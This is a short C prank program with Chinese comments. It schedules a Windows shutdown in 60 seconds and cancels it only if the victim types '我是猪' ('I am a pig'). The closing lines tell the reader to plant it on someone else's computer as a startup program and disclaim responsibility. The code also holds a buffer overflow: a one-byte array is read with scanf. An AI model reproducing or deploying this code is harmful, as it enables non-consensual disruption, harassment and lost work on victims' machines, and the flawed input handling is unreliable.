#define _CRT_SECURE_NO_WARNINGS
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
main()
{
char arr[] = { 0 };
system("shutdown -s -t 60");//关机指令
again:
printf("注意你的电脑60秒后关机,除非你输入“我是猪”不然关机无法避免\n");
scanf("%s", &arr);
if (strcmp(arr, "我是猪") == 0)//判断是否输入正确
{
system("shutdown -a");//正确后的撤销关机指令
}
else
{
goto again;//重新输入
}
}
只要把这个代码放入对方的电脑,并设为开机自动运转就能达到整蛊的目的{别玩过火了)
如有事情发生,我可不负责。